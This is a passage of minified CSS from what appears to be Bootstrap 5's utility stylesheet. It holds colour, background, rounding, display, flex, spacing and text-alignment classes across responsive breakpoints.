s-text-opacity))!important}.text-secondary{--bs-text-opacity:1;color:rgba(var(--bs-secondary-rgb),var(--bs-text-opacity))!important}.text-success{--bs-text-opacity:1;color:rgba(var(--bs-success-rgb),var(--bs-text-opacity))!important}.text-info{--bs-text-opacity:1;color:rgba(var(--bs-info-rgb),var(--bs-text-opacity))!important}.text-warning{--bs-text-opacity:1;color:rgba(var(--bs-warning-rgb),var(--bs-text-opacity))!important}.text-danger{--bs-text-opacity:1;color:rgba(var(--bs-danger-rgb),var(--bs-text-opacity))!important}.text-light{--bs-text-opacity:1;color:rgba(var(--bs-light-rgb),var(--bs-text-opacity))!important}.text-dark{--bs-text-opacity:1;color:rgba(var(--bs-dark-rgb),var(--bs-text-opacity))!important}.text-black{--bs-text-opacity:1;color:rgba(var(--bs-black-rgb),var(--bs-text-opacity))!important}.text-white{--bs-text-opacity:1;color:rgba(var(--bs-white-rgb),var(--bs-text-opacity))!important}.text-body{--bs-text-opacity:1;color:rgba(var(--bs-body-color-rgb),var(--bs-text-opacity))!important}.text-muted{--bs-text-opacity:1;color:#6c757d!important}.text-black-50{--bs-text-opacity:1;color:rgba(0,0,0,.5)!important}.text-white-50{--bs-text-opacity:1;color:rgba(255,255,255,.5)!important}.text-reset{--bs-text-opacity:1;color:inherit!important}.text-opacity-25{--bs-text-opacity:0.25}.text-opacity-50{--bs-text-opacity:0.5}.text-opacity-75{--bs-text-opacity:0.75}.text-opacity-100{--bs-text-opacity:1}.bg-primary{--bs-bg-opacity:1;background-color:rgba(var(--bs-primary-rgb),var(--bs-bg-opacity))!important}.bg-secondary{--bs-bg-opacity:1;background-color:rgba(var(--bs-secondary-rgb),var(--bs-bg-opacity))!important}.bg-success{--bs-bg-opacity:1;background-color:rgba(var(--bs-success-rgb),var(--bs-bg-opacity))!important}.bg-info{--bs-bg-opacity:1;background-color:rgba(var(--bs-info-rgb),var(--bs-bg-opacity))!important}.bg-warning{--bs-bg-opacity:1;background-color:rgba(var(--bs-warning-rgb),var(--bs-bg-opacity))!important}.bg-danger{--bs-bg-opacity:1;background-color:rgba(var(--bs-danger-rgb),var(--bs-bg-opacity))!important}.bg-light{--bs-bg-opacity:1;background-color:rgba(var(--bs-light-rgb),var(--bs-bg-opacity))!important}.bg-dark{--bs-bg-opacity:1;background-color:rgba(var(--bs-dark-rgb),var(--bs-bg-opacity))!important}.bg-black{--bs-bg-opacity:1;background-color:rgba(var(--bs-black-rgb),var(--bs-bg-opacity))!important}.bg-white{--bs-bg-opacity:1;background-color:rgba(var(--bs-white-rgb),var(--bs-bg-opacity))!important}.bg-body{--bs-bg-opacity:1;background-color:rgba(var(--bs-body-bg-rgb),var(--bs-bg-opacity))!important}.bg-transparent{--bs-bg-opacity:1;background-color:transparent!important}.bg-opacity-10{--bs-bg-opacity:0.1}.bg-opacity-25{--bs-bg-opacity:0.25}.bg-opacity-50{--bs-bg-opacity:0.5}.bg-opacity-75{--bs-bg-opacity:0.75}.bg-opacity-100{--bs-bg-opacity:1}.bg-gradient{background-image:var(--bs-gradient)!important}.user-select-all{-webkit-user-select:all!important;-moz-user-select:all!important;user-select:all!important}.user-select-auto{-webkit-user-select:auto!important;-moz-user-select:auto!important;user-select:auto!important}.user-select-none{-webkit-user-select:none!important;-moz-user-select:none!important;user-select:none!important}.pe-none{pointer-events:none!important}.pe-auto{pointer-events:auto!important}.rounded{border-radius:var(--bs-border-radius)!important}.rounded-0{border-radius:0!important}.rounded-1{border-radius:var(--bs-border-radius-sm)!important}.rounded-2{border-radius:var(--bs-border-radius)!important}.rounded-3{border-radius:var(--bs-border-radius-lg)!important}.rounded-4{border-radius:var(--bs-border-radius-xl)!important}.rounded-5{border-radius:var(--bs-border-radius-2xl)!important}.rounded-circle{border-radius:50%!important}.rounded-pill{border-radius:var(--bs-border-radius-pill)!important}.rounded-top{border-top-left-radius:var(--bs-border-radius)!important;border-top-right-radius:var(--bs-border-radius)!important}.rounded-end{border-top-right-radius:var(--bs-border-radius)!important;border-bottom-right-radius:var(--bs-border-radius)!important}.rounded-bottom{border-bottom-right-radius:var(--bs-border-radius)!important;border-bottom-left-radius:var(--bs-border-radius)!important}.rounded-start{border-bottom-left-radius:var(--bs-border-radius)!important;border-top-left-radius:var(--bs-border-radius)!important}.visible{visibility:visible!important}.invisible{visibility:hidden!important}@media (min-width:576px){.float-sm-start{float:left!important}.float-sm-end{float:right!important}.float-sm-none{float:none!important}.d-sm-inline{display:inline!important}.d-sm-inline-block{display:inline-block!important}.d-sm-block{display:block!important}.d-sm-grid{display:grid!important}.d-sm-table{display:table!important}.d-sm-table-row{display:table-row!important}.d-sm-table-cell{display:table-cell!important}.d-sm-flex{display:flex!important}.d-sm-inline-flex{display:inline-flex!important}.d-sm-none{display:none!important}.flex-sm-fill{flex:1 1 auto!important}.flex-sm-row{flex-direction:row!important}.flex-sm-column{flex-direction:column!important}.flex-sm-row-reverse{flex-direction:row-reverse!important}.flex-sm-column-reverse{flex-direction:column-reverse!important}.flex-sm-grow-0{flex-grow:0!important}.flex-sm-grow-1{flex-grow:1!important}.flex-sm-shrink-0{flex-shrink:0!important}.flex-sm-shrink-1{flex-shrink:1!important}.flex-sm-wrap{flex-wrap:wrap!important}.flex-sm-nowrap{flex-wrap:nowrap!important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-sm-start{justify-content:flex-start!important}.justify-content-sm-end{justify-content:flex-end!important}.justify-content-sm-center{justify-content:center!important}.justify-content-sm-between{justify-content:space-between!important}.justify-content-sm-around{justify-content:space-around!important}.justify-content-sm-evenly{justify-content:space-evenly!important}.align-items-sm-start{align-items:flex-start!important}.align-items-sm-end{align-items:flex-end!important}.align-items-sm-center{align-items:center!important}.align-items-sm-baseline{align-items:baseline!important}.align-items-sm-stretch{align-items:stretch!important}.align-content-sm-start{align-content:flex-start!important}.align-content-sm-end{align-content:flex-end!important}.align-content-sm-center{align-content:center!important}.align-content-sm-between{align-content:space-between!important}.align-content-sm-around{align-content:space-around!important}.align-content-sm-stretch{align-content:stretch!important}.align-self-sm-auto{align-self:auto!important}.align-self-sm-start{align-self:flex-start!important}.align-self-sm-end{align-self:flex-end!important}.align-self-sm-center{align-self:center!important}.align-self-sm-baseline{align-self:baseline!important}.align-self-sm-stretch{align-self:stretch!important}.order-sm-first{order:-1!important}.order-sm-0{order:0!important}.order-sm-1{order:1!important}.order-sm-2{order:2!important}.order-sm-3{order:3!important}.order-sm-4{order:4!important}.order-sm-5{order:5!important}.order-sm-last{order:6!important}.m-sm-0{margin:0!important}.m-sm-1{margin:.25rem!important}.m-sm-2{margin:.5rem!important}.m-sm-3{margin:1rem!important}.m-sm-4{margin:1.5rem!important}.m-sm-5{margin:3rem!important}.m-sm-auto{margin:auto!important}.mx-sm-0{margin-right:0!important;margin-left:0!important}.mx-sm-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-sm-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-sm-3{margin-right:1rem!important;margin-left:1rem!important}.mx-sm-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-sm-5{margin-right:3rem!important;margin-left:3rem!important}.mx-sm-auto{margin-right:auto!important;margin-left:auto!important}.my-sm-0{margin-top:0!important;margin-bottom:0!important}.my-sm-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-sm-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-sm-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-sm-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-sm-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-sm-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-sm-0{margin-top:0!important}.mt-sm-1{margin-top:.25rem!important}.mt-sm-2{margin-top:.5rem!important}.mt-sm-3{margin-top:1rem!important}.mt-sm-4{margin-top:1.5rem!important}.mt-sm-5{margin-top:3rem!important}.mt-sm-auto{margin-top:auto!important}.me-sm-0{margin-right:0!important}.me-sm-1{margin-right:.25rem!important}.me-sm-2{margin-right:.5rem!important}.me-sm-3{margin-right:1rem!important}.me-sm-4{margin-right:1.5rem!important}.me-sm-5{margin-right:3rem!important}.me-sm-auto{margin-right:auto!important}.mb-sm-0{margin-bottom:0!important}.mb-sm-1{margin-bottom:.25rem!important}.mb-sm-2{margin-bottom:.5rem!important}.mb-sm-3{margin-bottom:1rem!important}.mb-sm-4{margin-bottom:1.5rem!important}.mb-sm-5{margin-bottom:3rem!important}.mb-sm-auto{margin-bottom:auto!important}.ms-sm-0{margin-left:0!important}.ms-sm-1{margin-left:.25rem!important}.ms-sm-2{margin-left:.5rem!important}.ms-sm-3{margin-left:1rem!important}.ms-sm-4{margin-left:1.5rem!important}.ms-sm-5{margin-left:3rem!important}.ms-sm-auto{margin-left:auto!important}.p-sm-0{padding:0!important}.p-sm-1{padding:.25rem!important}.p-sm-2{padding:.5rem!important}.p-sm-3{padding:1rem!important}.p-sm-4{padding:1.5rem!important}.p-sm-5{padding:3rem!important}.px-sm-0{padding-right:0!important;padding-left:0!important}.px-sm-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-sm-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-sm-3{padding-right:1rem!important;padding-left:1rem!important}.px-sm-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-sm-5{padding-right:3rem!important;padding-left:3rem!important}.py-sm-0{padding-top:0!important;padding-bottom:0!important}.py-sm-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-sm-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-sm-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-sm-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-sm-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-sm-0{padding-top:0!important}.pt-sm-1{padding-top:.25rem!important}.pt-sm-2{padding-top:.5rem!important}.pt-sm-3{padding-top:1rem!important}.pt-sm-4{padding-top:1.5rem!important}.pt-sm-5{padding-top:3rem!important}.pe-sm-0{padding-right:0!important}.pe-sm-1{padding-right:.25rem!important}.pe-sm-2{padding-right:.5rem!important}.pe-sm-3{padding-right:1rem!important}.pe-sm-4{padding-right:1.5rem!important}.pe-sm-5{padding-right:3rem!important}.pb-sm-0{padding-bottom:0!important}.pb-sm-1{padding-bottom:.25rem!important}.pb-sm-2{padding-bottom:.5rem!important}.pb-sm-3{padding-bottom:1rem!important}.pb-sm-4{padding-bottom:1.5rem!important}.pb-sm-5{padding-bottom:3rem!important}.ps-sm-0{padding-left:0!important}.ps-sm-1{padding-left:.25rem!important}.ps-sm-2{padding-left:.5rem!important}.ps-sm-3{padding-left:1rem!important}.ps-sm-4{padding-left:1.5rem!important}.ps-sm-5{padding-left:3rem!important}.gap-sm-0{gap:0!important}.gap-sm-1{gap:.25rem!important}.gap-sm-2{gap:.5rem!important}.gap-sm-3{gap:1rem!important}.gap-sm-4{gap:1.5rem!important}.gap-sm-5{gap:3rem!important}.text-sm-start{text-align:left!important}.text-sm-end{text-align:right!important}.text-sm-center{text-align:center!important}}@media (min-width:768px){.float-md-start{float:left!important}.float-md-end{float:right!important}.float-md-none{float:none!important}.d-md-inline{display:inline!important}.d-md-inline-block{display:inline-block!important}.d-md-block{display:block!important}.d-md-grid{display:grid!important}.d-md-table{display:table!important}.d-md-table-row{display:table-row!important}.d-md-table-cell{display:table-cell!important}.d-md-flex{display:flex!important}.d-md-inline-flex{display:inline-flex!important}.d-md-none{display:none!important}.flex-md-fill{flex:1 1 auto!important}.flex-md-row{flex-direction:row!important}.flex-md-column{flex-direction:column!important}.flex-md-row-reverse{flex-direction:row-reverse!important}.flex-md-column-reverse{flex-direction:column-reverse!important}.flex-md-grow-0{flex-grow:0!important}.flex-md-grow-1{flex-grow:1!important}.flex-md-shrink-0{flex-shrink:0!important}.flex-md-shrink-1{flex-shrink:1!important}.flex-md-wrap{flex-wrap:wrap!important}.flex-md-nowrap{flex-wrap:nowrap!important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-md-start{justify-content:flex-start!important}.justify-content-md-end{justify-content:flex-end!important}.justify-content-md-center{justify-content:center!important}.justify-content-md-between{justify-content:space-between!important}.justify-content-md-around{justify-content:space-around!important}.justify-content-md-evenly{justify-content:space-evenly!important}.align-items-md-start{align-items:flex-start!important}.align-items-md-end{align-items:flex-end!important}.align-items-md-center{align-items:center!important}.align-items-md-baseline{align-items:baseline!important}.align-items-md-stretch{align-items:stretch!important}.align-content-md-start{align-content:flex-start!important}.align-content-md-end{align-content:flex-end!important}.align-content-md-center{align-content:center!important}.align-content-md-between{align-content:space-between!important}.align-content-md-around{align-content:space-around!important}.align-content-md-stretch{align-content:stretch!important}.align-self-md-auto{align-self:auto!important}.align-self-md-start{align-self:flex-start!important}.align-self-md-end{align-self:flex-end!important}.align-self-md-center{align-self:center!important}.align-self-md-baseline{align-self:baseline!important}.align-self-md-stretch{align-self:stretch!important}.order-md-first{order:-1!important}.order-md-0{order:0!important}.order-md-1{order:1!important}.order-md-2{order:2!important}.order-md-3{order:3!important}.order-md-4{order:4!important}.order-md-5{order:5!important}.order-md-last{order:6!important}.m-md-0{margin:0!important}.m-md-1{margin:.25rem!important}.m-md-2{margin:.5rem!important}.m-md-3{margin:1rem!important}.m-md-4{margin:1.5rem!important}.m-md-5{margin:3rem!important}.m-md-auto{margin:auto!important}.mx-md-0{margin-right:0!important;margin-left:0!important}.mx-md-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-md-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-md-3{margin-right:1rem!important;margin-left:1rem!important}.mx-md-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-md-5{margin-right:3rem!important;margin-left:3rem!important}.mx-md-auto{margin-right:auto!important;margin-left:auto!important}.my-md-0{margin-top:0!important;margin-bottom:0!important}.my-md-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-md-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-md-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-md-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-md-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-md-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-md-0{margin-top:0!important}.mt-md-1{margin-top:.25rem!important}.mt-md-2{margin-top:.5rem!important}.mt-md-3{margin-top:1rem!important}.mt-md-4{margin-top:1.5rem!important}.mt-md-5{margin-top:3rem!important}.mt-md-auto{margin-top:auto!important}.me-md-0{margin-right:0!important}.me-md-1{margin-right:.25rem!important}.me-md-2{margin-right:.5rem!important}.me-md-3{margin-right:1rem!important}.me-md-4{margin-right:1.5rem!important}.me-md-5{margin-right:3rem!important}.me-md-auto{margin-right:auto!important}.mb-md-0{margin-bottom:0!important}.mb-md-1{margin-bottom:.25rem!important}.mb-md-2{margin-bottom:.5rem!important}.mb-md-3{margin-bottom:1rem!important}.mb-md-4{margin-bottom:1.5rem!important}.mb-md-5{margin-bottom:3rem!important}.mb-md-auto{margin-bottom:auto!important}.ms-md-0{margin-left:0!important}.ms-md-1{margin-left:.25rem!important}.ms-md-2{margin-left:.5rem!important}.ms-md-3{margin-left:1rem!important}.ms-md-4{margin-left:1.5rem!important}.ms-md-5{margin-left:3rem!important}.ms-md-auto{margin-left:auto!important}.p-md-0{padding:0!important}.p-md-1{padding:.25rem!important}.p-md-2{padding:.5rem!important}.p-md-3{padding:1rem!important}.p-md-4{padding:1.5rem!important}.p-md-5{padding:3rem!important}.px-md-0{padding-right:0!important;padding-left:0!important}.px-md-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-md-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-md-3{padding-right:1rem!important;padding-left:1rem!important}.px-md-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-md-5{padding-right:3rem!important;padding-left:3rem!important}.py-md-0{padding-top:0!important;padding-bottom:0!important}.py-md-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-md-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-md-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-md-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-md-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-md-0{padding-top:0!important}.pt-md-1{padding-top:.25rem!important}.pt-md-2{padding-top:.5rem!important}.pt-md-3{padding-top:1rem!important}.pt-md-4{padding-top:1.5rem!important}.pt-md-5{padding-top:3rem!important}.pe-md-0{padding-right:0!important}.pe-md-1{padding-right:.25rem!important}.pe-md-2{padding-right:.5rem!important}.pe-md-3{padding-right:1rem!important}.pe-md-4{padding-right:1.5rem!important}.pe-md-5{padding-right:3rem!important}.pb-md-0{padding-bottom:0!important}.pb-md-1{padding-bottom:.25rem!important}.pb-md-2{padding-bottom:.5rem!important}.pb-md-3{padding-bottom:1rem!important}.pb-md-4{padding-bottom:1.5rem!important}.pb-md-5{padding-bottom:3rem!important}.ps-md-0{padding-left:0!important}.ps-md-1{padding-left:.25rem!important}.ps-md-2{padding-left:.5rem!important}.ps-md-3{padding-left:1rem!important}.ps-md-4{padding-left:1.5rem!important}.ps-md-5{padding-left:3rem!important}.gap-md-0{gap:0!important}.gap-md-1{gap:.25rem!important}.gap-md-2{gap:.5rem!important}.gap-md-3{gap:1rem!important}.gap-md-4{gap:1.5rem!important}.gap-md-5{gap:3rem!important}.text-md-start{text-align:left!important}.text-md-end{text-align:right!important}.text-md-center{text-align:center!important}}@media (min-width:992px){.float-lg-start{float:left!important}.float-lg-end{float:right!important}.float-lg-none{float:none!important}.d-lg-inline{display:inline!important}.d-lg-inline-block{display:inline-block!important}.d-lg-block{display:block!important}.d-lg-grid{display:grid!important}.d-lg-table{display:table!important}.d-lg-table-row{display:table-row!important}.d-lg-table-cell{display:table-cell!important}.d-lg-flex{display:flex!important}.d-lg-inline-flex{display:inline-flex!important}.d-lg-none{display:none!important}.flex-lg-fill{flex:1 1 auto!important}.flex-lg-row{flex-direction:row!important}.flex-lg-column{flex-direction:column!important}.flex-lg-row-reverse{flex-direction:row-reverse!important}.flex-lg-column-reverse{flex-direction:column-reverse!important}.flex-lg-grow-0{flex-grow:0!important}.flex-lg-grow-1{flex-grow:1!important}.flex-lg-shrink-0{flex-shrink:0!important}.flex-lg-shrink-1{flex-shrink:1!important}.flex-lg-wrap{flex-wrap:wrap!important}.flex-lg-nowrap{flex-wrap:nowrap!important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-lg-start{justify-content:flex-start!important}.justify-content-lg-end{justify-content:flex-end!important}.justify-content-lg-center{justify-content:center!important}.justify-content-lg-between{justify-content:space-between!important}.justify-content-lg-around{justify-content:space-around!important}.justify-content-lg-evenly{justify-content:space-evenly!important}.align-items-lg-start{align-items:flex-start!important}.align-items-lg-end{align-items:flex-end!important}.align-items-lg-center{align-items:center!important}.align-items-lg-baseline{align-items:baseline!important}.align-items-lg-stretch{align-items:stretch!important}.align-content-lg-start{align-content:flex-start!important}.align-content-lg-end{align-content:flex-end!important}.align-content-lg-center{align-content:center!important}.align-content-lg-between{align-content:space-between!important}.align-content-lg-around{align-content:space-around!important}.align-content-lg-stretch{align-content:stretch!important}.align-self-lg-auto{align-self:auto!important}.align-self-lg-start{align-self:flex-start!important}.align-self-lg-end{align-self:flex-end!important}.align-self-lg-center{align-self:center!important}.align-self-lg-baseline{align-self:baseline!important}.align-self-lg-stretch{align-self:stretch!important}.order-lg-first{order:-1!important}.order-lg-0{order:0!important}.order-lg-1{order:1!important}.order-lg-2{order:2!important}.order-lg-3{order:3!important}.order-lg-4{order:4!important}.order-lg-5{order:5!important}.order-lg-last{order:6!important}.m-lg-0{margin:0!important}.m-lg-1{margin:.25rem!important}.m-lg-2{margin:.5rem!important}.m-lg-3{margin:1rem!important}.m-lg-4{margin:1.5rem!important}.m-lg-5{margin:3rem!important}.m-lg-auto{margin:auto!important}.mx-lg-0{margin-right:0!important;margin-left:0!important}.mx-lg-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-lg-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-lg-3{margin-right:1rem!important;margin-left:1rem!important}.mx-lg-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-lg-5{margin-right:3rem!important;margin-left:3rem!important}.mx-lg-auto{margin-right:auto!important;margin-left:auto!important}.my-lg-0{margin-top:0!important;margin-bottom:0!important}.my-lg-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-lg-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-lg-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-lg-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-lg-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-lg-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-lg-0{margin-top:0!important}.mt-lg-1{margin-top:.25rem!important}.mt-lg-2{margin-top:.5rem!important}.mt-lg-3{margin-top:1rem!important}.mt-lg-4{margin-top:1.5rem!important}.mt-lg-5{margin-top:3rem!important}.mt-lg-auto{margin-top:auto!important}.me-lg-0{margin-right:0!important}.me-lg-1{margin-right:.25rem!important}.me-lg-2{margin-right:.5rem!important}.me-lg-3{margin-right:1rem!important}.me-lg-4{margin-right:1.5rem!important}.me-lg-5{margin-right:3rem!important}.me-lg-auto{margin-right:auto!important}.mb-lg-0{margin-bottom:0!important}.mb-lg-1{margin-bottom:.25rem!important}.mb-lg-2{margin-bottom:.5rem!important}.mb-lg-3{margin-bottom:1rem!important}.mb-lg-4{margin-bottom:1.5rem!important}.mb-lg-5{margin-bottom:3rem!important}.mb-lg-auto{margin-bottom:auto!important}.ms-lg-0{margin-left:0!important}.ms-lg-1{margin-left:.25rem!important}.ms-lg-2{margin-left:.5rem!important}.ms-lg-3{margin-left:1rem!important}.ms-lg-4{margin-left:1.5rem!important}.ms-lg-5{margin-left:3rem!important}.ms-lg-auto{margin-left:auto!important}.p-lg-0{padding:0!important}.p-lg-1{padding:.25rem!important}.p-lg-2{padding:.5rem!important}.p-lg-3{padding:1rem!important}.p-lg-4{padding:1.5rem!important}.p-lg-5{padding:3rem!important}.px-lg-0{padding-right:0!important;padding-left:0!important}.px-lg-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-lg-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-lg-3{padding-right:1rem!important;padding-left:1rem!important}.px-lg-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-lg-5{padding-right:3rem!important;padding-left:3rem!important}.py-lg-0{padding-top:0!important;padding-bottom:0!important}.py-lg-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-lg-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-lg-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-lg-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-lg-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-lg-0{padding-top:0!important}.pt-lg-1{padding-top:.25rem!important}.pt-lg-2{padding-top:.5rem!important}.pt-lg-3{padding-top:1rem!important}.pt-lg-4{padding-top:1.5rem!important}.pt-lg-5{padding-top:3rem!important}.pe-lg-0{padding-right:0!important}.pe-lg-1{padding-right:.25rem!important}.pe-lg-2{padding-right:.5rem!important}.pe-lg-3{padding-right:1rem!important}.pe-lg-4{padding-right:1.5rem!important}.pe-lg-5{padding-right:3rem!important}.pb-lg-0{padding-bottom:0!important}.pb-lg-1{padding-bottom:.25rem!important}.pb-lg-2{padding-bottom:.5rem!important}.pb-lg-3{padding-bottom:1rem!important}.pb-lg-4{padding-bottom:1.5rem!important}.pb-lg-5{padding-bottom:3rem!important}.ps-lg-0{padding-left:0!important}.ps-lg-1{padding-left:.25rem!important}.ps-lg-2{padding-left:.5rem!important}.ps-lg-3{padding-left:1rem!important}.ps-lg-4{padding-left:1.5rem!important}.ps-lg-5{padding-left:3rem!important}.gap-lg-0{gap:0!important}.gap-lg-1{gap:.25rem!important}.gap-lg-2{gap:.5rem!important}.gap-lg-3{gap:1rem!important}.gap-lg-4{gap:1.5rem!important}.gap-lg-5{gap:3rem!important}.text-lg-start{text-align:left!important}.text-lg-end{text-align:right!important}.text-lg-center{text-align:center!important}}@media (min-width:1200px){.float-xl-start{float:left!important}.float-xl-end{float:right!important}.float-xl-none{float:none!important}.d-xl-inline{display:inline!important}.d-xl-inline-block{display:inline-block!important}.d-xl-block{display:block!important}.d-xl-grid{display:grid!important}.d-xl-table{display:table!important}.d-xl-table-row{display:table-row!important}.d-xl-table-cell{display:table-cell!important}.d-xl-flex{display:flex!important}.d-xl-inline-flex{display:inline-flex!important}.d-xl-none{display:none!important}.flex-xl-fill{flex:1 1 auto!important}.flex-xl-row{flex-direction:row!important}.flex-xl-column{flex-direction:column!important}.flex-xl-row-reverse{flex-direction:row-reverse!important}.flex-xl-column-reverse{flex-direction:column-reverse!important}.flex-xl-grow-0{flex-grow:0!important}.flex-xl-grow-1{flex-grow:1!important}.flex-xl-shrink-0{flex-shrink:0!important}.flex-xl-shrink-1{flex-shrink:1!important}.flex-xl-wrap{flex-wrap:wrap!important}.flex-xl-nowrap{flex-wrap:nowrap!important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-xl-start{justify-content:flex-start!important}.justify-content-xl-end{justify-content:flex-end!important}.justify-content-xl-center{justify-content:center!important}.justify-content-xl-between{justify-content:space-between!important}.justify-content-xl-around{justify-content:space-around!important}.justify-content-xl-evenly{justify-content:space-evenly!important}.align-items-xl-start{align-items:flex-start!important}.align-items-xl-end{align-items:flex-end!important}.align-items-xl-center{align-items:center!important}.align-items-xl-baseline{align-items:baseline!important}.align-items-xl-stretch{align-items:stretch!important}.align-content-xl-start{align-content:flex-start!important}.align-content-xl-end{align-content:flex-end!important}.align-content-xl-center{align-content:center!important}.align-content-xl-between{align-content:space-between!important}.align-content-xl-around{align-content:space-around!important}.align-content-xl-stretch{align-content:stretch!important}.align-self-xl-auto{align-self:auto!important}.align-self-xl-start{align-self:flex-start!important}.align-self-xl-end{align-self:flex-end!important}.align-self-xl-center{align-self:center!important}.align-self-xl-baseline{align-self:baseline!important}.align-self-xl-stretch{align-self:stretch!important}.order-xl-first{order:-1!important}.order-xl-0{order:0!important}.order-xl-1{order:1!important}.order-xl-2{order:2!important}.order-xl-3{order:3!important}.order-xl-4{order:4!important}.order-xl-5{order:5!important}.order-xl-last{order:6!important}.m-xl-0{margin:0!important}.m-xl-1{margin:.25rem!important}.m-xl-2{margin:.5rem!important}.m-xl-3{margin:1rem!important}.m-xl-4{margin:1.5rem!important}.m-xl-5{margin:3rem!important}.m-xl-auto{margin:auto!important}.mx-xl-0{margin-right:0!important;margin-left:0!important}.mx-xl-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-xl-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-xl-3{margin-right:1rem!important;margin-left:1rem!important}.mx-xl-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-xl-5{margin-right:3rem!important;margin-left:3rem!important}.mx-xl-auto{margin-right:auto!important;margin-left:auto!important}.my-xl-0{margin-top:0!important;margin-bottom:0!important}.my-xl-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-xl-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-xl-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-xl-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-xl-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-xl-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-xl-0{margin-top:0!important}.mt-xl-1{margin-top:.25rem!important}.mt-xl-2{margin-top:.5rem!important}.mt-xl-3{margin-top:1rem!important}.mt-xl-4{margin-top:1.5rem!important}.mt-xl-5{margin-top:3rem!important}.mt-xl-auto{margin-top:auto!important}.me-xl-0{margin-right:0!important}.me-xl-1{margin-right:.25rem!important}.me-xl-2{margin-right:.5rem!important}.me-xl-3{margin-right:1rem!important}.me-xl-4{margin-right:1.5rem!important}.me-xl-5{margin-right:3rem!important}.me-xl-auto{margin-right:auto!important}.mb-xl-0{margin-bottom:0!important}.mb-xl-1{margin-bottom:.25rem!important}.mb-xl-2{margin-bottom:.5rem!important}.mb-xl-3{margin-bottom:1rem!important}.mb-xl-4{margin-bottom:1.5rem!important}.mb-xl-5{margin-bottom:3rem!important}.mb-xl-auto{margin-bottom:auto!important}.ms-xl-0{margin-left:0!important}.ms-xl-1{margin-left:.25rem!important}.ms-xl-2{margin-left:.5rem!important}.ms-xl-3{margin-left:1rem!important}.ms-xl-4{margin-left:1.5rem!important}.ms-xl-5{margin-left:3rem!important}.ms-xl-auto{margin-left:auto!important}.p-xl-0{padding:0!important}.p-xl-1{padding:.25rem!important}.p-xl-2{padding:.5rem!important}.p-xl-3{padding:1rem!important}.p-xl-4{padding:1.5rem!important}.p-xl-5{padding:3rem!important}.px-xl-0{padding-right:0!important;padding-left:0!important}.px-xl-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-xl-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-xl-3{padding-right:1rem!important;padding-left:1rem!important}.px-xl-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-xl-5{padding-right:3rem!important;padding-left:3rem!important}.py-xl-0{padding-top:0!important;padding-bottom:0!important}.py-xl-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-xl-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-xl-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-xl-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-xl-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-xl-0{padding-top:0!important}.pt-xl-1{padding-top:.25rem!important}.pt-xl-2{padding-top:.5